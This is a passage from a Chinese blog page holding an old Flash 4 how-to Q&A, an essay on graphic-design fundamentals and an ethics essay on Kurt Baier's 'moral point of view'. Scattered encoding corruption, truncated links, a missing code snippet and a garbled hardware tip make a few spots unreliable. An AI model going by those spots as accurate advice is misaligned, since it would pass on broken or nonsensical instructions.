窗）->object（對象）然后便可以調(diào)節(jié)它的高（h）、寬（w）、起始位置（x,y）和是否中心對齊（usecenter）。問：如何才能將文字或圖畫做變形？答：CtrlB把動作的頭和尾打散后即可！symbol是不能做shape的。問：請問如何將文字或圖鏤空？答：打散字或者圖形，先用涂邊框工具將它的邊緣上色，然后再選中中間部分將之刪除便可。問：如何制作邊緣模糊的MASK效果？答：在做好MASK效果后再在其上面加一層有模糊邊緣的色塊。問：FLASH4的多個場景之間如何調(diào)整播放次序？答：主菜單->windows（窗口）->inspector（查看窗）->Scene（場景），可以對場景進行調(diào)整播放次序、改名、刪除等*作。第三篇：flash進階問：請問在Linux下如何觀看flash動畫，有插件forLinux的么？答有。問：剛下載安裝的Flash插件已落戶在電腦的什麼地方?答：在C:\\\\\\\\\\\\\\\\WINDOWS\\\\\\\\\\\\\\\\SYSTEM\\\\\\\\\\\\\\\\Macromed\\\\\\\\\\\\\\\\Flash里看看問：如何將fla文件直接生成exe文件？答：帶有標(biāo)題欄的swf文件可以通過菜單直接生成exe，是在FlashPlayer打開swf文件，然后選擇file（文件）->creatprojector（建立項目）。如果加上了FS命令將文件全屏顯示后標(biāo)題欄沒了，便可用CTRLF熱鍵來生成。生成的執(zhí)行文件內(nèi)置了播放器，將比SWF文件大二百多K。問：請問如何把做好的flash轉(zhuǎn)換成屏幕保護程序？答：用SWFbrowser2.8或者screensaver有下載。問：如何在FLASH中實現(xiàn)3D效果。答：在FLASH中不能其接生成3D的動畫，需借助其它的軟件才行。比如3DMAX，然后再安裝上vecta3D或者Illustrate!4.0（4.1）插件便可以直接輸出swf格式的動畫了。最新的3D制做工具是Swift3D,上述插件與工具有下載，可惜這些工具對系統(tǒng)要求比較高，建議CPU低于400，內(nèi)存項就OK。若是在html中引用flash可在html文件中的前加上下面的語句:。不過透明只能在IE中可以，在NC中便失效了。問：有什么方法能把普通位圖圖片轉(zhuǎn)換成矢量圖片呢？答：用AdobeStreamline軟件有軟件下載并有一簡單教程，或用FreeHand8轉(zhuǎn)換亦可。問：請問那種格式（后綴）為矢量圖？請問用那個軟件可以瀏覽這些矢量圖？答：*.ai*.eps*.wmf*.cdr，其中前面三種可以在FLASH中直接引用。cdr格式需轉(zhuǎn)換成前三種格式方可引用。如果你安裝了CORLDRAW便可以在資源管理器中直接預(yù)覽CDR格式的圖形。其他格式的還沒有軟件能夠象ACDSee瀏覽普通圖片一樣大量瀏覽。問：在SWF中，怎樣去掉點擊鼠標(biāo)右鍵所出現(xiàn)的內(nèi)容？答：在publishsettings里面有showmenu的勾選。但是對于網(wǎng)頁上的flash它始終會出現(xiàn)flash字樣。如果你把它做成exe文件的話，就什么也沒有了。問：如何讓雙擊SWF文件時可以直接滿屏播放？答：在最后一楨的ACTION里選FSCOMMOND一項，然后在右邊選中fullscreen,true，便可！問：怎么做出象電視受干擾時的雪花��？？答：先畫一些短的白線條（細一點，稍微有點灰度），然后做幾個關(guān)鍵幀，每幀里隨機的放一些，連續(xù)播放一下就有效果了。問：請問一串字或一幅圖由模糊變清晰的效果怎樣做？答：剛開始的時候?qū)�ALPHA（透明度）設(shè)小一些，最后位置的ALPHA0%，關(guān)鍵禎之間用MOTION變化。注意，是SYMBOL才能MOTION，除了用alpha外，最關(guān)鍵的還是要用相同內(nèi)容不同的層來錯開，做出模糊的效果！問：打字的效果是怎么做的（就是字一個一個地出來）需要把每個字都轉(zhuǎn)換成組件嗎?答：方法1、為每一個字建立一個MC，然后在第一幀中引用第一個字，隔兩至三禎，按F6，復(fù)制關(guān)鍵禎，再引用第二個字，再隔兩，三禎，按F6，引用第三個，以此類推。如果加上打字的音效，效果會更好。本方法適于字數(shù)較少的地方。方法2、如果你只是簡單地讓它們出現(xiàn)，可以在字上加一層，然后用底色做一個矩形，把字遮住。并將矩形設(shè)定為MC，給實體命一個名字（instancename），然后用SetProperty語句編程實現(xiàn)矩形的跳著移動便可。這種辦法適于字數(shù)較多的地方。第四篇：FLASH的聲音處理問：如何制作音樂開關(guān)？思路：將音樂放入MC，用TellTarget來控制這個MC的播放和停止。相關(guān)文章或源文件：作者：邊城浪子作者：小東瓜問：請問如何調(diào)節(jié)音量答：用純粹的FLASH不能連續(xù)調(diào)節(jié)音量，只能分段調(diào)節(jié)�！堕e吹慕壇獺?/a>問：如何在文件中加可控制的背景音樂答：天極網(wǎng)有教程作者：starwind問：如何使聲音無限循環(huán)？答：將聲音的循環(huán)次數(shù)定義成足夠大便可。問：怎樣在音樂完成后執(zhí)行一個動作？答~eastecho/fbbs/Forum2/HTML/000382.html;問：請問如何借用別人作品中的內(nèi)容。是否可以將SWF文件完全解碼成FLA文件。答：用SWFbrowser2.8可以解開別人的SWF文件，將其中的圖像．聲音取出保存。到目前為止還沒有任何一個軟件可以將SWF文件完全反變換成FLA文件。問：怎樣才能截取音樂？答：閃光地帶）里面有SoundForge，用內(nèi)錄的方法錄制，效果非常好，如果音量變小了，用effect里面的dynamicgraphicexpand可以擴大。另外CoolEdit、GoldWave也是很不錯的選擇。問：我想在一個CD或VCD里面保存一個聲音文件是怎么樣保存的呢？我想我所保存的聲音可以導(dǎo)出在FLASH里面使用。請問Flash中如何加入.mp3?答：用sthvcd，vcdcutter或其他東東剪下來就可以了。Flash中不能加入mp3，若為mp3格式，可通過winamp或其它軟件轉(zhuǎn)成wav，然后要編輯的話用soundforge4.5。問：那里有SoundForge4.5的教程？答;音樂編輯那個欄目。問：請問如何把midi轉(zhuǎn)換成wav?答：MIDI轉(zhuǎn)EAV的方法如下：1。用WINGROOVE這個軟波表直接轉(zhuǎn)換，不過音色是WINGROOV自帶的，沒有得選擇余地的！所以這是最簡單最原始的方法，效果一般！這個軟件~hiroki/english有下載。2。用兩個聲卡，一個放一個錄。放的那邊用軟波表，如YAMAHA100等或者聲卡自帶的硬波表，錄音后還可以降噪！此方法還可以！但是如果結(jié)合下面的方法就更好了！3。用軟音源軟件，如REALITY或者GIGASAMPLER等代替波表，使用專門的音色庫來轉(zhuǎn)，這樣只要一個聲卡就解決問題了！此方法可以使用你認為最好的音色，音質(zhì)也是幾乎沒得挑剔的，WAV的質(zhì)量接近下面的方法了！4。如果你錢很多的話，就用專門的音源和硬盤錄音機吧！第五篇：FLASH的Action功能問：如何通過按鈕給別人發(fā)E-mail.答：geturl:mailto:dongua@21cn.com問：如何用GETURL功能打開一個窗口答：在geturl中輸入javascriptop（‘dongua.htm’,550,400），geturl支持簡單的JAVASCRIPT語句，這種方法跟選擇_blank不同。問：在主頁中，flash文件老是自己重復(fù)播放，不知怎樣實現(xiàn)只播放一次答：在最后一楨的ACTION中加上STOP語句!問：關(guān)鍵幀中的腳本里stop后的腳本會不會起作用？答：stop語句只停止幀的播放，并不能停止該STOP所在關(guān)鍵幀的ACTION語句的執(zhí)行。問：我如可才能把“別人網(wǎng)頁”中的SWF文件下載到自已的硬盤上呢？答：方法1、在FLASH動畫上單機鼠標(biāo)右鍵，選目標(biāo)另存為OK！方法2、在你的瀏覽器緩沖目錄里面有你看過FLASH的SWF文件！一般情況下系統(tǒng)的默認目錄是：windows->TemporaryInternetFiles，查找swf文件，其中保存的swf文件數(shù)量跟瀏覽器設(shè)定的緩存空間有關(guān)，然后將它COPY出來便可。問：如何計算sin、cos等函數(shù)？思路：利用有關(guān)的數(shù)學(xué)公式將函數(shù)轉(zhuǎn)換相關(guān)文章或源文件：作者：小魔女東瓜茶軒問：要得到a值除以b值所得到的余數(shù),其表達式該怎么寫?答：a-b*int(a/b)便可！問：如何在FLASH中重復(fù)播放部分影格N次然后再跳轉(zhuǎn)?答：SetVariable:“i”=1SetVariable:“time”=5comment:time表示重復(fù)次數(shù)。comment:以下是想重復(fù)的內(nèi)容幀名為repeat…………If（i[url~eastecho/fbbs/Forum2/HTML/000590.html作者：boat問：如何...TML/000142.html;作者：RichardJamesRose作者：MartynvanBeek問：如何制作Loading？答：使用_framesloaded、_totalframes兩個變量可以完成相關(guān)文章或源文件：作者：邊城浪子作者：小東瓜問：如何判斷載入外部swf的進度？答：可以使用被載入swf的_framesloaded、_totalframes兩個變量，加上被載入動畫的名字。相關(guān)文章或源文件：~eastecho/fbb...TML/000516.html;問：如何把FLASH中的輸入的文本存到另一個文本文件！答：FLASH自己不行！需要與其他軟件聯(lián)合編程來完成。比如：ASP,PERL,PHP。問：經(jīng)常聽到別人說到路徑，到底FLASH中的路徑起到一個什么作用？答：如果你用過DOS，您就可以很容易理解FLASH的路徑。簡單地說，路徑就是在FLASH編程時能夠找到變量或者符號（symbol）所經(jīng)過的路。其方式跟DOS一樣，分成相對的和絕對的兩種。可以看一看下面兩個地址中介紹的內(nèi)容：~eastecho/fbb...TML/000009.html;~eastecho/fbb...TML/000525.html;問：flash編程用什么工具軟件較好答：用ActionClip1.4，你先在任何一個文本編輯軟件中寫完程序之后，將程序部分COPY至剪貼板，然后運行ActionClip將之轉(zhuǎn)化，然后到flash中將之PASTE便可。這個工具很小巧，在閃光地帶（http:/zippy.yeah.net）有一個更好一點的工具FlashActionScriptToolBeta2注冊版下載，支持所有的FLASH命令,可自動生成一些簡單的程序。201*.2.1021:35作者：chenjiamiao520收藏|評論：1平面設(shè)計基礎(chǔ)知識分類:平面設(shè)計基礎(chǔ)知識設(shè)計的學(xué)習(xí)可能有很多不同的路，因為這是有設(shè)計的多元化知識結(jié)構(gòu)決定的，不管你以前是做什么的，不管你曾經(jīng)如何如何，在進入設(shè)計領(lǐng)域之后，你以前的閱歷都將影響你，你都將面臨挑戰(zhàn)與被淘汰的可能，正如，想要造就偉大永遠不可能是依*人們的主觀愿望所能達到的一樣第一節(jié)：你確認你要進入這一領(lǐng)域嗎？--設(shè)計師的知識結(jié)構(gòu)設(shè)計多元化的知識結(jié)構(gòu)必將要求設(shè)計人員具有多元化的知識及信息獲取方式。第一步：從點、線、面的認識開始，學(xué)習(xí)掌握平面構(gòu)成、色彩構(gòu)成、立體構(gòu)成、透視學(xué)等基礎(chǔ)；我們需要具備客觀的視覺經(jīng)驗，建立理性思維基礎(chǔ)，掌握視覺的生理學(xué)規(guī)律，了解設(shè)計元素這一概念。第二步：你會畫草圖嗎？1998澳大利亞工業(yè)設(shè)計顧問委員會調(diào)查結(jié)果，設(shè)計專業(yè)畢業(yè)生應(yīng)具備的10項技能第一位就是：“應(yīng)有優(yōu)秀的草圖和徒手作畫的能力，作為設(shè)計著應(yīng)具備快而不拘謹?shù)囊曈X圖形表達能力，繪畫藝術(shù)是設(shè)計的源泉，設(shè)計草圖是思想的紙面形式，我們有理由相信，繪畫是平面設(shè)計的基礎(chǔ)，平面設(shè)計的設(shè)計的基礎(chǔ)！”第三步：你還缺少什么？缺少對傳統(tǒng)課程的學(xué)習(xí)，如陶藝、版畫、水彩、油畫、攝影、書法、國畫、黑白畫等等，太多太多，你還是問問自己吧！不管如何這些課程將在不同層次上加強了你設(shè)計的動手能力、表現(xiàn)能力和審美能力，他們最關(guān)鍵的是讓你明白什么是藝術(shù)，更重要的是你發(fā)現(xiàn)你自己的個性，但這也是一個長期的過程。第四步：“我可以開始設(shè)計了嗎”？當(dāng)然不行，你要設(shè)計什么？正如你要開始玩游戲了，你了解游戲規(guī)則嗎？不過你不用擔(dān)心，你已經(jīng)進入了專業(yè)自身的學(xué)習(xí)，同時也意味著你才剛剛開始，你將不折不撓，不浮躁不抱怨、務(wù)實的、實事求事的態(tài)度步入這一領(lǐng)域。我們以標(biāo)志設(shè)計為例，我們需要具備什么樣的背景知識，標(biāo)志的意義、標(biāo)志的起源、標(biāo)志的特點、標(biāo)志的設(shè)計原則、標(biāo)志的藝術(shù)規(guī)律、標(biāo)志的表現(xiàn)形式，標(biāo)志的構(gòu)成的手法、我們需要理解為什么？為什么可口可樂會紅遍全球；為什么我們渴望穿Lee牌牛仔褲？作為一名設(shè)計師，你對我們周圍的視覺環(huán)境滿意嗎？問問自己，你的設(shè)計理想是什么？第五步：你能辨別設(shè)計的好壞，知道為什么嗎？上一步通過對設(shè)計基礎(chǔ)知識的學(xué)習(xí)，不知不覺你已經(jīng)進入了設(shè)計的模仿階段，為了向前我們必須回顧歷史，既而從理論書籍的學(xué)習(xí)轉(zhuǎn)變?yōu)橄蚯拜吋皟?yōu)秀設(shè)計師學(xué)習(xí)。這個階段伴隨著一個比較長期的一個過程，你的設(shè)計水平可能會很不穩(wěn)定，你有時困惑、有時欣喜，伴隨著大量的實踐以及對設(shè)計整個運轉(zhuǎn)流程逐漸掌握，開始向成熟設(shè)計師邁進。你需要學(xué)會規(guī)則，再打破規(guī)則。第二節(jié)：你能成為優(yōu)秀出眾的設(shè)計師嗎？--對設(shè)計師的要求1、成功的設(shè)計師應(yīng)具備以下幾點：A、強烈敏銳的感受能力B、發(fā)明創(chuàng)造的能力C、對作品的美學(xué)鑒定能力D、對設(shè)計構(gòu)想的表達能力E、具備全面的專業(yè)智能現(xiàn)代設(shè)計師必須是具有寬廣的文化視角，深邃的智慧和豐富的知識；必須是具有創(chuàng)新精神知識淵博、敏感并能解決問題的人，應(yīng)考慮社會反映、社會效果，力求設(shè)計作品對社會有益，能提高人們的審美能力，心理上的愉悅和滿足，應(yīng)概括當(dāng)代的時代特征，反映了真正的審美情趣和審美理想。起碼你應(yīng)當(dāng)明白，優(yōu)秀的設(shè)計師有他們“自己”的手法、清晰的形象、合乎邏輯的觀點。2、設(shè)計師一定要自信，堅信自己的個人信仰、經(jīng)驗、眼光、品味。不盲從、不孤芳自賞、不驕、不浮。以嚴(yán)謹?shù)闹螌W(xué)態(tài)度面對，不為個性而個性，不為設(shè)計而設(shè)計。作為一名設(shè)計師，必須有獨特的素質(zhì)和高超的設(shè)計技能，即無論多么復(fù)雜的設(shè)計課題，都能通過認真總結(jié)經(jīng)驗，用心思考，反復(fù)推敲，汲取消化同類型的優(yōu)秀設(shè)計精華，實現(xiàn)新的創(chuàng)造。3、平面設(shè)計作為一種職業(yè)，設(shè)計師職業(yè)道德的高低和設(shè)計師人格的完善有很大的關(guān)系，往往決定一個設(shè)計師設(shè)計水平的就是人格的完善程度，程度越高其理解能力、把握權(quán)衡能力、辨別能力、協(xié)調(diào)能力、處事能力將協(xié)助他在設(shè)計生活中越過一道又一道障礙，所以設(shè)計師必須注重個人的修為，文人常說：“先修其形，后練其品”。4、設(shè)計的提高必修在不斷的學(xué)習(xí)和實踐中進行，設(shè)計師的廣泛涉獵和專注是相互矛盾又統(tǒng)一的，前者是靈感和表現(xiàn)方式的源泉，后者是工作的態(tài)度。好的設(shè)計并不只是圖形的創(chuàng)作，他是中和了許多智力勞動的結(jié)果，涉獵不同的領(lǐng)域，擔(dān)當(dāng)不同的角色，可以讓我們保持開闊的視野，可以讓我們的設(shè)計帶有更多的信息。在設(shè)計中最關(guān)鍵的是意念，好的意念需要學(xué)養(yǎng)和時間去孵化。設(shè)計還需要開闊的視野，使信息有廣闊的來源，觸類旁通是學(xué)習(xí)平面設(shè)計的重要特點之一，藝術(shù)之間本質(zhì)上是共通的，文化與智慧的不斷補給是成為設(shè)計界長青樹的法寶。5、有個性的設(shè)計可能是來自扎跟于本民族悠久的文化傳統(tǒng)和富有民族文化本色的設(shè)計思想，民族性和獨創(chuàng)性及個性同樣是具有價值的，地域特點也是設(shè)計師的知識背景之一。未來的設(shè)計師不再是狹隘的民族主義者，而每個民族的標(biāo)志更多的體現(xiàn)在民族精神層面，民族和傳統(tǒng)也將成為一種圖式或者設(shè)計元素，作為設(shè)計師有必要認真看待民族傳統(tǒng)和文化。201*.2.1021:34作者：chenjiamiao520收藏|評論：0走向道德觀點的轉(zhuǎn)換分類:走向道德觀點的轉(zhuǎn)換現(xiàn)代社會的倫理之所以要從君子倫理、圣賢倫理、英雄倫理轉(zhuǎn)向一種普遍主義的底線倫理，后面是有一種社會變遷的深厚背景的，不過，我們在此不探詢這種背景，而是想詢問這種倫理轉(zhuǎn)變的一個關(guān)鍵：即道德觀點的轉(zhuǎn)換。我們首先要問，什么是道德觀點？這里所說的“觀點”，不是指現(xiàn)成的理論觀點，而是指優(yōu)先的觀察點，觀察的角度。古人所言“仁者見仁、智者見智”中的“見”，我們?nèi)粘Ｋ�說“旁觀者清”中的“觀”，就是指這樣一種提示出一種觀察地位的“觀點”。一個事實，可以從不同的角度去觀察，得出不同的結(jié)論。比方說，對一個人半夜?jié)撊脬y行悄悄用工具打開里面的保險箱的行為，人們可以僅從技術(shù)的角度進行觀察，驚嘆這個人開鎖的技藝高明和老練，得出“這人真行”的肯定結(jié)論；而若從另一個角度觀察，我們卻會給出否定的評價，認定這人是在偷竊，是在犯罪，對這種行為予以譴責(zé)。這后一種觀察點就是我們要說的“道德觀點”。這種“觀點”的重要性和優(yōu)先性不言而喻，我們從上面的例子中就可以看到∶它可以引導(dǎo)人們得出不同的結(jié)論。任何理論都必須予設(shè)一個觀察點，這一觀察點就決定了這一理論的基本視野和走向。觀察點的紛亂、誤置和隨意調(diào)換，就有可能造成這一理論的邏輯矛盾、雜亂無章乃至結(jié)論完全謬誤。由于這種優(yōu)先的觀察點對最后形成的結(jié)論有如此重要的意義，所以我們也把最后的一個個結(jié)論徑直稱之為“觀點”是不無道理的。把這些最后形成的“觀點”聯(lián)系起來，使點連成線，就成了一個理論，一個體系，而這又必須有賴于一種統(tǒng)一的“觀察點”。正是由于這種優(yōu)先的“觀點”與“理論”的緊密關(guān)系，所以，我們要弄明白“義理”，不能不首先弄清我們應(yīng)該持一種什么樣的道德觀點。我們也還要問∶傳統(tǒng)倫理中占優(yōu)勢的道德觀點是一種什么樣的道德觀點？它能不能使我們弄明白普遍的義理、基本的社會道德，如果不能，應(yīng)當(dāng)向什么方向轉(zhuǎn)換等等�？铺刎悹枺↘urtBaier）在１９５８年出版的一本有影響的書《道德觀點》中認為∶道德問題就是對行為理由的呼吁。道德理由有真?zhèn)�，真實的理由就是從道德觀點看可接受或所要求的理由，“道德觀點”實際就成了測試行為正當(dāng)?shù)囊粔K試金石，所以，澄清“道德觀點”的概念就具有關(guān)鍵的意義。我們注意到∶貝爾這里所說的“道德觀點”不僅具有區(qū)別于審美，技術(shù)等觀點的外在意義即它是一種涉及到判斷行為和品質(zhì)善惡正邪的觀點∶而且具有內(nèi)在的意義即它還是一種能夠檢驗善惡正邪標(biāo)準(zhǔn)真?zhèn)蔚挠^點。在貝爾這里，“道德觀點”實際是指一種“合乎道德的觀點”。而我們所說的“道德觀點的轉(zhuǎn)換”卻主要還是在前一種意義上說的，即僅僅是一種“涉及道德的觀點�！钡�貝爾對后一種“道德觀點”的考察，對我們要討論的這一“道德觀點”的“轉(zhuǎn)換”仍很有意義。貝爾心目中的“道德觀點”是一種什么觀點呢？一個人在進行行為規(guī)范的判斷時，怎樣才是采取了一種道德觀點呢？我們可以把貝爾的論述概括如下∶⑴他必須不是自私的；⑵他是按原則行事的；⑶他愿意使自己的原則普遍化；⑷他要考慮到對所有人都有好處。一個人的判斷必須滿足了上述所有條件，才可以說是采取了一種道德觀點，這看起來這很嚴(yán)格的，但我們又可以說，這四個條件又是傾向于結(jié)為一體的，其基本精神只是一個即超越自我而普遍化的精神，不過我們現(xiàn)在還是先來分別地說明。⑴這個人必須是不自私的，他不能僅僅從有利于自己的觀點考慮問題。舉例來說，如果要把一個十字路口改建為一個大環(huán)形路口，這可能遭到住在附近的經(jīng)常步行者的反對，因為這樣他們就得繞路而不方便了，而這一地區(qū)的政治家也可能同樣反對，因為他們要爭取住在這里的這些人的選票；另一方面，駕車者卻會贊成這一改建計劃，因為這使他們不必在紅綠燈前等候，而有可能承擔(dān)這一改建工程的公司自然也會大力支持這一計劃，因為這將有可能給它們帶來大筆利潤。這樣，贊成的一方和反對的一方就可能爭執(zhí)不下，而他們所采取的都是一種自利的觀點。那么，有沒有可能采取一種超脫的、非自利的觀點呢？當(dāng)然可以有，這種超脫的觀點可能就是交通專家或城市規(guī)劃者所采取的觀點，他們在考慮這一問題時不涉及到自己的利益，是客觀和冷淡的（disinterested）。我們要注意，貝爾決不是要否認個人利益，也決不是預(yù)先已把自利視為不道德的才把它排除在道德觀點之外，在此貝爾的論據(jù)實際上是∶采取自利的觀點解決不了利益沖突，不能對沖突的利益要求做出裁斷，因而沖突將危及我們的生活，使我們的社會回到原始的“叢林狀態(tài)”。所以道德觀點不僅不能等同于自利觀點，甚至要考慮正是與自利觀點相反的因素構(gòu)成了道德觀點。⑵這個人必須是按原則行事的。也就是說，他不能象一個利己主義者一樣只按有利的特殊目標(biāo)和“最佳策略”（rulesofthumb）行事，而是要按始終一貫的原則行事。這可以看成是我們所說的“涉及對象的普遍性”或者說“終身行之”，是個人按一貫性，而不是一時的喜好和任性行事。⑶這個人也必須是愿意使自己的原則普遍化的，這就是我們所說的“涉及主體的普遍性”或“一以貫之”。道德規(guī)范是對所有人而言的（moralrulesaremeantforeverybody），光我一個人按原則行動還不足以概括出“道德觀點”，這原則還必須為所有人遵循。由此推論，道德教育就必須是完全普遍和公開的，它不是少數(shù)個人或某個階層的特權(quán)。一個秘傳的法典或心訣、誡律，最好也不過是一種宗教，而不是一種道德。如果一個行為規(guī)范被公開教育和普遍遵循，它就將變得象我們前面看到的那樣自我挫敗、自行拆臺，那它在道德上就是毫無意義的。⑷這個人必須考慮到“對所有人都好”。以上三個條件均是形式的，但道德規(guī)范也有內(nèi)容，這些規(guī)范必須是對類似的所有人都有好處的（moralrulesmustbeforthegoodofeverybodyalike）。對這里的“好”（good）一詞，貝爾是在偏于消極和否定的意義上理解的，“對所有人都好”并非是要我們?nèi)プ畲笙薅鹊卮龠M所有人的福利，而只是要求我們?nèi)�幫助處在困境中的鄰人，就象我們在圣�?jīng)中“好心的撒馬利亞人幫助遭劫受傷的路人”一例中看到的那樣，而尤其是象“勿殺人”“勿盜竅”“勿殘忍”一類禁止那些不可使自己置于對象地位的“不可逆行為（nonreversiblebehavior）的規(guī)則，初看起來似乎是純粹否定和消極的，但若從一種獨立的、無偏見的、客觀的、冷靜的、中立的觀察點來看，所有人都遵守這些規(guī)則就是對所有人都好的。從一時一事來說，我不做這些事似乎只對可能直接受這些事影響的人有好處，對我，對其他人并無好處，但從長遠、從全面來說，如果所有人都傾向于這樣禁止自己做這些事，那就將使所有人受益。歸結(jié)起來∶非自利、依原則、可普遍化和對所有人都好這四條，可以說都是旨在超越自我、超越主觀性，而以一種普遍的、全面的、客觀的，不偏不倚的眼光看問題，在此，不能給予任何自我或小團體的利益以優(yōu)先權(quán)，而是要同時考慮到所有人的利益。這樣的觀點才是道德的觀點，用貝爾的話來說，這是一種近于“上帝之眼的觀點”（god"s-eyepointofview）。我們也許會覺得如此理解“道德觀點”過于狹隘，而這又是由于對“道德”概念、“道德領(lǐng)域”的范疇理解過于狹窄所致。我們也許會問∶這樣的話，個人的崇高追求、心靈感召，道德上的英雄氣概和圣潔精神若不放在道德中，那么往那里安置呢？確實，西方人，尤其近現(xiàn)代西方人所理解的道德看來只是社會道德，是共同體的道德法典，圖爾明（Toulmin）、黑爾（Hare）、貝爾、羅爾斯等主要倫理學(xué)家所理解的道德莫不如是。前面所說的那種崇高追求則一般被放到了宗教的范疇之內(nèi)，宗教信仰主要是個人的事情，而道德規(guī)范卻是社會的事情，宗教可能仍會給道德，尤其是崇高行為、奉獻和犧牲的壯舉以信念上的支持，但對道德規(guī)范的主要支持也許將可以考慮為是來自社會本身，來自所有人都具有的理性。對社會的理性思考本身，也許就足以為道德提供充分的理由。以上道德與宗教兩分，道德僅被理解為社會的道德體系可以說是現(xiàn)代西方人的主流觀點，帶有西方文明和傳統(tǒng)的印記。我們也許可以批評說這種對道德的理解不夠全面，但是，不容否認的是，確實有一大塊社會道德的領(lǐng)域，這是任何社會、人群都要面對的領(lǐng)域。我們首先遇到的就是這一領(lǐng)域內(nèi)的道德問題，這些問題得不到妥善的解決，就將使每一個人的基本權(quán)益都受到損害。當(dāng)然，我們可以說，那些嚴(yán)重影響到人的生命和利益的行為，我們可以用法律的手段來對付，但是，法律最終是必須以道德正義為根基的，法律要得以順利實行也必須依賴于人們道德觀念的支持，何況還有許多在法律之外、卻仍然是社會之內(nèi)的問題。生活在一個共同體內(nèi)的人們必須在這些基本問題上達成基本的道德共識，否則，誰都不會生活得舒服，人們會感到在互相妨礙，互相掣肘，于是就會有高尚者的逃避（雖然這越來越難），和卑鄙者的橫行，甚至老實人也鋌而走險。所以，我們必須正視社會道德的領(lǐng)域。而要解決好這一領(lǐng)域內(nèi)的問題，我們就必須先考察我們的認識前提，考察傳統(tǒng)的道德觀點。中國傳統(tǒng)倫理后期發(fā)展的主要趨勢看來是“道德化”而非“道義化”的，即“道（導(dǎo)）向一己之得（德）”，而非道（導(dǎo)）向普遍之義（理）”。我們對傳統(tǒng)道德后來發(fā)展的重心是放在自我，放在一己，傳統(tǒng)儒學(xué)后期主要是自我修身之學(xué)這一特征不想在此贅言，現(xiàn)在的問題是∶這一道德觀點是否適合解決社會，尤其現(xiàn)代社會領(lǐng)域內(nèi)的道德問題？依據(jù)這一觀點能否建立起一種社會道德體系這一體系既包括社會制度的正義原則，又包括所有個人的義務(wù)規(guī)范體系？我們在中國倫理傳統(tǒng)中看到一種新的自我主義。我們一般把西方人所說的“egoism”都翻譯成“利己主義”，確實，西人所說的“egoism”一般都是指“利益的自我主義”，如快樂主義之類。但我們現(xiàn)在在我們傳統(tǒng)中看到的卻是一種完全不同的東西∶它確實是立足自身，關(guān)注自我的，但它卻又是追求道德，追求道德上的純潔和高尚的，我們也許可以把它稱之為“道德的自我主義”或“高尚的自我主義”，即一種真心想提高道德，一心一意向善的自我主義。雖然它是一種自我主義，但它強調(diào)履行自己的義務(wù)，強調(diào)限制自我的欲望和利益。從這種道德自我主義出發(fā)，就不允許自己去侵犯別人，去損害他人的利益，甚至寧愿犧牲自己的利益去滿足他人的愿望。它雖然主要追求的是道德上的自我完善，但它也追求人際關(guān)系中的和諧。它對傳統(tǒng)社會和穩(wěn)定和發(fā)展實際上起了巨大的積極作用，但它的價值還是更多地體現(xiàn)在內(nèi)在的方面，它自有價值，自有意義，自有報償，自有樂地，它在歷史上一直是士人的執(zhí)著追求，他們在其中找到了自己安身立命的家。它造就了一批具有圣賢人格的道德楷模，這些楷模就象在夜晚天空中熠熠閃光的星星一樣，使我們至今都感到神往和崇敬。但是，我現(xiàn)在要提出的問題是∶如果它的立足自我，面向自我的基本觀點不改變，它是否能夠成為解決今天社會領(lǐng)域內(nèi)道德問題的基石？或者按新儒家的提法，我們是否能從這一道德自我主義開出一種新的具有普遍意義的社會倫理？一個人立足自我來看待社會、看待人群，那么，顯然，他所看到的就主要是一種人我關(guān)系。人際關(guān)系就是人我關(guān)系。其它如群己關(guān)系，公私關(guān)系也是這一人我關(guān)系的變形（“公”字單獨使用時則另當(dāng)別論），“己”不消說就是“我”，“私”也是指“我”，只不過他人在此是作為一個群體出現(xiàn)而已（“群”或“公”）�！拔摇笔冀K存在，他人或者是作為一個，或者是作為一群，或者是作為一個整體而與“我”對稱。我在此想特別澄清一個誤解，古人所稱的群、己關(guān)系，公、私關(guān)系，并非我們現(xiàn)在常說的社會與個人的關(guān)系。對社會與個人關(guān)系的觀察必須采取一種超越了自我的普遍觀點才能達到。因為∶在這里，“個人”中可以說包括“我”，又可以說不包括“我”，因為“我”也是社會的一員，“我”并不與他人組成的社會對立，“我”同時在社會與個人之中，所以，如果說在“社會”與“個人”中同時都包括了“我”，也可以說同時都沒有包括“我”，我在談到社會與個人的關(guān)系時，實際上是采取了一種超越自我的觀點，就好象不屬于這一社會的神從天上往人間俯視。我們在理性思考中是有這種可能的∶我們可以暫時擺脫自我的主觀性而進行一種具有普遍性的思考，甚至可以說∶理性的本質(zhì)就是要超越自我而達到普遍，而直覺則無論如何要依賴主體。把古人常說的群己關(guān)系，公私關(guān)系錯當(dāng)成現(xiàn)代的社會與個人的關(guān)系常常導(dǎo)致錯誤的結(jié)論∶比如概括說中國古代社會是以社會為本位，而西方近代社會是以個人為本位，中國人重整體、西方人重個人等等。其實，西方社會是既以個人，又以社會為本位的。而中國傳統(tǒng)社會既不是以社會整體為本位，又不是以個人為本位的。否則，就很難解釋，為什么一方面會有梁啟超、孫中山、梁漱溟等許多人批評中國人如“一盤散沙”“缺乏國家觀念和團體精神”；另一方面又會有五四時期的許多人如陳獨秀、吳虞等批評中國傳統(tǒng)“壓制和扼殺人的個性”。在均以自我為中心觀察點的人我，群己和公私等關(guān)系中，最重要的還是人我關(guān)系，在古人眼里，正如郝敬《孟子說解》中所言∶“世道惟人與我�！边@很好理解，因為對立足于自我的觀點來說，這一關(guān)系最為直接、最為切近。常有學(xué)者認為中國傳統(tǒng)倫理關(guān)系的特點是一對一的關(guān)系，也是說的這個意思。雖然有許多個他人，但每次與我打交道的一般就是一個。所以倫理規(guī)范一般也是從這種一對一的關(guān)系中分別概括出來的，如一個人分別對君主、父親、兄弟、朋友、路人，就分別有忠、孝、悌、信、恕等義務(wù)。人與我的關(guān)系可以從許多方面去觀察，如利益、價值追求、合作與沖突等等，而從嚴(yán)格道義論的要求去看待人我關(guān)系中的自我，自然就要求自己努力去為他人著想，努力盡自己的義務(wù)。這是道德主義對自我觀點的影響，但現(xiàn)在更吸引我們注意的是另一面的影響∶即這種自我觀點對道德主義所產(chǎn)生的影響。首先，由于是立足自我、關(guān)注自我，所以對我來說，最重要的不是社會上人與人之間的相互態(tài)度和行為哪些是正當(dāng)?shù)�，哪些是不正�?dāng)?shù)模�不是人們相互間有那些明確的義務(wù)，而是成就道德的自我，成就個人的德性，趨近圣賢的人格。在某種意義上甚至可以說，人們相互間的行為，尤其他人對我的行為是不重要的，不論別人對我怎樣，是否履行與我一樣的義務(wù)，都不會影響到我的修身養(yǎng)性，甚至是我磨礪自己的一種必要手段。“欲海橫流”、“功利滔滔”、反而更顯出君子本色，更襯托出圣賢的地位。也就